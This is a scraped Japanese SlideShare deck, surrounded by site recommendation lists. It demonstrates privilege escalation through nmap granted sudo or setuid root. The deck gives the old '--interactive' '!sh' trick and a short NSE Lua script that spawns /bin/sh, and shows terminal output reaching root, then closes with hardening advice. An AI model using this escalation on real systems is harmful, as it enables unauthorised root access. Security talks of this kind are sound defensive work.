狠狠撸

狠狠撸Share a Scribd company logo
狈尘补辫の真実(ゾクゾク)
@ymzkei5
きっかけ
? 小河さん(@abendさん) の『狈尘补辫の真実(続)』
が面白かったので乗っかろうと思いました!!
? 『狈尘补辫の真実』シリーズ
? 狈尘补辫の真実 → http://www.slideshare.net/abend
_cve_9999_0001/nmap-61009153
? Nmap 9つの真実 → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-9
? 狈尘补辫の真実(続) → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-68233390
「狈尘补辫の真実(続)」が教えてくれたこと
? 一般ユーザと管理者とでNmapの挙動が変わる。
「狈尘补辫の真実(続)」が教えてくれたこと
? 一般ユーザと管理者とでNmapの挙動が変わる。
「狈尘补辫の真実(続)」が教えてくれたこと
? 一般ユーザと管理者とでNmapの挙動が変わる。
目に浮かんだこと
? サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
目に浮かんだこと
? サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
? 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
目に浮かんだこと
? サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
? 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
目に浮かんだこと
? サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
? 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
? あります…よね?(え? 私の周辺だけ?)
やりそうなこと
? その1 : sudoを許す
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
やりそうなこと
? その1 : sudoを許す
? その2 : setuid rootしてしまう
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
-rwxr-xr-x 1 root root 373348 Feb 7 2014 nmap
↓
-rwsr-xr-x 1 root root 373348 Feb 7 2014 nmap
すると、どうなるか…
? 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
すると、どうなるか…
? 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap>
すると、どうなるか…
? 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
すると、どうなるか…
? 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1#
すると、どうなるか…
? 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
ところが、
? 最近のバージョンだと、、
I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it would
segfault during the second scan. http://seclists.org/nmap-
dev/2009/q2/464
David Fifield
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
? 最近のバージョンだと、、
? --interactive mode gone
? I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
? 最近のバージョンだと、、
? --interactive mode gone
? I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
interactiveモード
自体が無い!
何これ安心!!!
安心できませんよ!
? 皆さん、もうピンと来ているとおり、ぜんぜん
安心できません。
? 例えば、Nmapスクリプトを書いてみるとか。
? SCRIPT SCAN:
--script=<Lua scripts>: <Lua scripts> is a comma
separated list of directories, script-files or script-
categories
書いてみた
? sh.nse
description = [[]]
author = "Keigo Yamazaki"
categories = {}
hostrule = function(host)
return true
end
action = function()
os.execute("/bin/sh")
end
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
sh-4.1# exit
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
$
まとめ
? Nmapを精確に実行したいなら、管理者権限で
実行する必要がある。
? でも、Nmapに管理者権限を与えると、任意の
OSコマンドの実行などもおこなわれてしまう。
? 共用サーバでは使わないか、rootを取られても
良い信頼できる人だけに使わせましょう。
? Nmapスクリプトを信頼できるパスからしか実
行できないように制限する手や、SELinux等で
制限する手もあるかもですが。
Ad

Recommended

CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
?
Network miner 使ってみた
Network miner 使ってみた
彰 村地
?
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
?
いつやるの?Git入門 v1.1.0
いつやるの?Git入門 v1.1.0
Masakazu Matsushita
?
「おうちクラウド」が今热い!
「おうちクラウド」が今热い!
Hirotaka Sato
?
C++ マルチスレッド 入門
C++ マルチスレッド 入門
京大 マイコンクラブ
?
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
SECCON Beginners
?
骋辞による奥别产アプリ开発のキホン
骋辞による奥别产アプリ开発のキホン
Akihiko Horiuchi
?
Nmap 9つの真実
Nmap 9つの真実
abend_cve_9999_0001
?
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
Shota Shinogi
?
WebSocket / WebRTCの技術紹介
WebSocket / WebRTCの技術紹介
Yasuhiro Mawarimichi
?
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
DeNA
?
バッチは地味だが役に立つ
バッチは地味だが役に立つ
apkiban
?
狈尘补辫の真実(続)
狈尘补辫の真実(続)
abend_cve_9999_0001
?
AKS と ACI を組み合わせて使ってみた
AKS と ACI を組み合わせて使ってみた
Hideaki Aoyagi
?
Introduction to boost test
Introduction to boost test
Kohsuke Yuasa
?
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
Fixstars Corporation
?
颁丑谤辞尘别拡张机能の脆弱性を探そう!
颁丑谤辞尘别拡张机能の脆弱性を探そう!
KageShiron
?
やはりお前らの惭痴颁は间违っている
やはりお前らの惭痴颁は间违っている
Koichi Tanaka
?
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
?
笔贵厂な罢尝厂通信を復号する
笔贵厂な罢尝厂通信を復号する
稔 小林
?
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
Yoshinori Nakanishi
?
katagaitai CTF勉強会 #3 crypto
katagaitai CTF勉強会 #3 crypto
trmr
?
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
NTT DATA Technology & Innovation
?
バージョン管理のワークフロー
バージョン管理のワークフロー
add20
?
全自动窜补产产颈虫
全自动窜补产产颈虫
真乙 九龍
?
鲍苍颈肠辞诲别文字列処理
鲍苍颈肠辞诲别文字列処理
信之 岩永
?
体系的に学ばない齿厂厂の话
体系的に学ばない齿厂厂の话
Yutaka Maehira
?
今日から始める齿厂厂
今日から始める齿厂厂
llamakko_cafe
?

More Related Content

What's hot (20)

骋辞による奥别产アプリ开発のキホン
骋辞による奥别产アプリ开発のキホン
Akihiko Horiuchi
?
Nmap 9つの真実
Nmap 9つの真実
abend_cve_9999_0001
?
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
Shota Shinogi
?
WebSocket / WebRTCの技術紹介
WebSocket / WebRTCの技術紹介
Yasuhiro Mawarimichi
?
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
DeNA
?
バッチは地味だが役に立つ
バッチは地味だが役に立つ
apkiban
?
狈尘补辫の真実(続)
狈尘补辫の真実(続)
abend_cve_9999_0001
?
AKS と ACI を組み合わせて使ってみた
AKS と ACI を組み合わせて使ってみた
Hideaki Aoyagi
?
Introduction to boost test
Introduction to boost test
Kohsuke Yuasa
?
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
Fixstars Corporation
?
颁丑谤辞尘别拡张机能の脆弱性を探そう!
颁丑谤辞尘别拡张机能の脆弱性を探そう!
KageShiron
?
やはりお前らの惭痴颁は间违っている
やはりお前らの惭痴颁は间违っている
Koichi Tanaka
?
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
?
笔贵厂な罢尝厂通信を復号する
笔贵厂な罢尝厂通信を復号する
稔 小林
?
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
Yoshinori Nakanishi
?
katagaitai CTF勉強会 #3 crypto
katagaitai CTF勉強会 #3 crypto
trmr
?
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
NTT DATA Technology & Innovation
?
バージョン管理のワークフロー
バージョン管理のワークフロー
add20
?
全自动窜补产产颈虫
全自动窜补产产颈虫
真乙 九龍
?
鲍苍颈肠辞诲别文字列処理
鲍苍颈肠辞诲别文字列処理
信之 岩永
?
骋辞による奥别产アプリ开発のキホン
骋辞による奥别产アプリ开発のキホン
Akihiko Horiuchi
?
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
ネットストーカー御用达翱厂滨狈罢ツール叠濒补肠办叠颈谤诲を触ってみた.辫辫迟虫
Shota Shinogi
?
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
スマホゲームのチート手法とその対策 [DeNA TechCon 2019]
DeNA
?
バッチは地味だが役に立つ
バッチは地味だが役に立つ
apkiban
?
AKS と ACI を組み合わせて使ってみた
AKS と ACI を組み合わせて使ってみた
Hideaki Aoyagi
?
Introduction to boost test
Introduction to boost test
Kohsuke Yuasa
?
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
いまさら闻けない补谤尘を使った狈贰翱狈の基础と活用事例
Fixstars Corporation
?
颁丑谤辞尘别拡张机能の脆弱性を探そう!
颁丑谤辞尘别拡张机能の脆弱性を探そう!
KageShiron
?
やはりお前らの惭痴颁は间违っている
やはりお前らの惭痴颁は间违っている
Koichi Tanaka
?
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
?
笔贵厂な罢尝厂通信を復号する
笔贵厂な罢尝厂通信を復号する
稔 小林
?
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
あなたの知らない笔辞蝉迟驳谤别厂蚕尝监视の世界
Yoshinori Nakanishi
?
katagaitai CTF勉強会 #3 crypto
katagaitai CTF勉強会 #3 crypto
trmr
?
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
NTT DATA Technology & Innovation
?
バージョン管理のワークフロー
バージョン管理のワークフロー
add20
?
全自动窜补产产颈虫
全自动窜补产产颈虫
真乙 九龍
?
鲍苍颈肠辞诲别文字列処理
鲍苍颈肠辞诲别文字列処理
信之 岩永
?

Viewers also liked (20)

体系的に学ばない齿厂厂の话
体系的に学ばない齿厂厂の话
Yutaka Maehira
?
今日から始める齿厂厂
今日から始める齿厂厂
llamakko_cafe
?
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
Keigo Yamazaki
?
今日からはじめる颁厂笔(碍别谤苍别濒/痴惭蔼翱办颈苍补飞补)
今日からはじめる颁厂笔(碍别谤苍别濒/痴惭蔼翱办颈苍补飞补)
cocoa_dahlia
?
丑辫颈苍驳で作るパケット
丑辫颈苍驳で作るパケット
Takaaki Hoyo
?
Visual Studio で TeX 編集
Visual Studio で TeX 編集
Satoshi Mimura
?
CSP Lv.2の話
CSP Lv.2の話
Yu Yagihashi
?
今さら闻けない齿厂厂
今さら闻けない齿厂厂
Sota Sugiura
?
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Atsushi Tanaka
?
セキュアコーディング方法论再构筑の试み
セキュアコーディング方法论再构筑の试み
Hiroshi Tokumaru
?
ノリとその场の势いで笔辞肠を作った话
ノリとその场の势いで笔辞肠を作った话
zaki4649
?
齿厂厂再入门
齿厂厂再入门
Hiroshi Tokumaru
?
複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント
智治 長沢
?
これで叠颈驳蚕耻别谤测をドヤ颜で语れる!叠颈驳蚕耻别谤测の基本
これで叠颈驳蚕耻别谤测をドヤ颜で语れる!叠颈驳蚕耻别谤测の基本
Tomohiro Shinden
?
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say any more"
abend_cve_9999_0001
?
叠颈驳蚕耻别谤测の课金、节约しませんか
叠颈驳蚕耻别谤测の课金、节约しませんか
Ryuji Tamagawa
?
元翱谤补肠濒别惭补蝉迟别谤笔濒补迟颈苍耻尘が颁濒辞耻诲厂辫补苍苍别谤触ってみた
元翱谤补肠濒别惭补蝉迟别谤笔濒补迟颈苍耻尘が颁濒辞耻诲厂辫补苍苍别谤触ってみた
Kumano Ryo
?
Python × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack bot
dcubeio
?
颁迟蹿のための辫测迟丑辞苍入门
颁迟蹿のための辫测迟丑辞苍入门
shiracamus
?
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
kikuchan98
?
体系的に学ばない齿厂厂の话
体系的に学ばない齿厂厂の话
Yutaka Maehira
?
今日から始める齿厂厂
今日から始める齿厂厂
llamakko_cafe
?
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
Keigo Yamazaki
?
今日からはじめる颁厂笔(碍别谤苍别濒/痴惭蔼翱办颈苍补飞补)
今日からはじめる颁厂笔(碍别谤苍别濒/痴惭蔼翱办颈苍补飞补)
cocoa_dahlia
?
丑辫颈苍驳で作るパケット
丑辫颈苍驳で作るパケット
Takaaki Hoyo
?
Visual Studio で TeX 編集
Visual Studio で TeX 編集
Satoshi Mimura
?
今さら闻けない齿厂厂
今さら闻けない齿厂厂
Sota Sugiura
?
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Atsushi Tanaka
?
セキュアコーディング方法论再构筑の试み
セキュアコーディング方法论再构筑の试み
Hiroshi Tokumaru
?
ノリとその场の势いで笔辞肠を作った话
ノリとその场の势いで笔辞肠を作った话
zaki4649
?
複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント
智治 長沢
?
これで叠颈驳蚕耻别谤测をドヤ颜で语れる!叠颈驳蚕耻别谤测の基本
これで叠颈驳蚕耻别谤测をドヤ颜で语れる!叠颈驳蚕耻别谤测の基本
Tomohiro Shinden
?
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say any more"
abend_cve_9999_0001
?
叠颈驳蚕耻别谤测の课金、节约しませんか
叠颈驳蚕耻别谤测の课金、节约しませんか
Ryuji Tamagawa
?
元翱谤补肠濒别惭补蝉迟别谤笔濒补迟颈苍耻尘が颁濒辞耻诲厂辫补苍苍别谤触ってみた
元翱谤补肠濒别惭补蝉迟别谤笔濒补迟颈苍耻尘が颁濒辞耻诲厂辫补苍苍别谤触ってみた
Kumano Ryo
?
Python × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack bot
dcubeio
?
颁迟蹿のための辫测迟丑辞苍入门
颁迟蹿のための辫测迟丑辞苍入门
shiracamus
?
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
kikuchan98
?
Ad

狈尘补辫の真実(ゾクゾク)